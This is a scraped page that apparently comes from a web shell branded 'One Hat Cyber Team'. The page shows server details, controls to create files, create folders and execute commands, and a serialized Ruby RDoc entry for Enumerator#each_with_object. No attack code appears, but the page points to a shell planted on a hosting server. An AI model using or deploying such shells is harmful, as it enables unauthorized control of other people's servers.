⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Enumerator
/
View File Name :
each_with_object-i.ri
U:RDoc::AnyMethod[iI"each_with_object:ETI" Enumerator#each_with_object;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"PIterates the given block for each element with an arbitrary object, +obj+, ;TI"and returns +obj+;To:RDoc::Markup::BlankLine o; ; [I"4If no block is given, returns a new Enumerator.;T@S:RDoc::Markup::Heading: leveli: textI"Example;T@o:RDoc::Markup::Verbatim; [I"&to_three = Enumerator.new do |y| ;TI" 3.times do |x| ;TI" y << x ;TI" end ;TI" end ;TI" ;TI"8to_three_with_string = to_three.with_object("foo") ;TI"-to_three_with_string.each do |x,string| ;TI" puts "#{string}: #{x}" ;TI" end ;TI" ;TI"# => foo: 0 ;TI"# => foo: 1 ;TI"# => foo: 2;T:@format0: @fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below0I"‚e.each_with_object(obj) {|(*args), obj| ... } e.each_with_object(obj) e.with_object(obj) {|(*args), obj| ... } e.with_object(obj) ;T0[[I"with_object;T@ I" (p1);T@%FI"Enumerator;TcRDoc::NormalClass00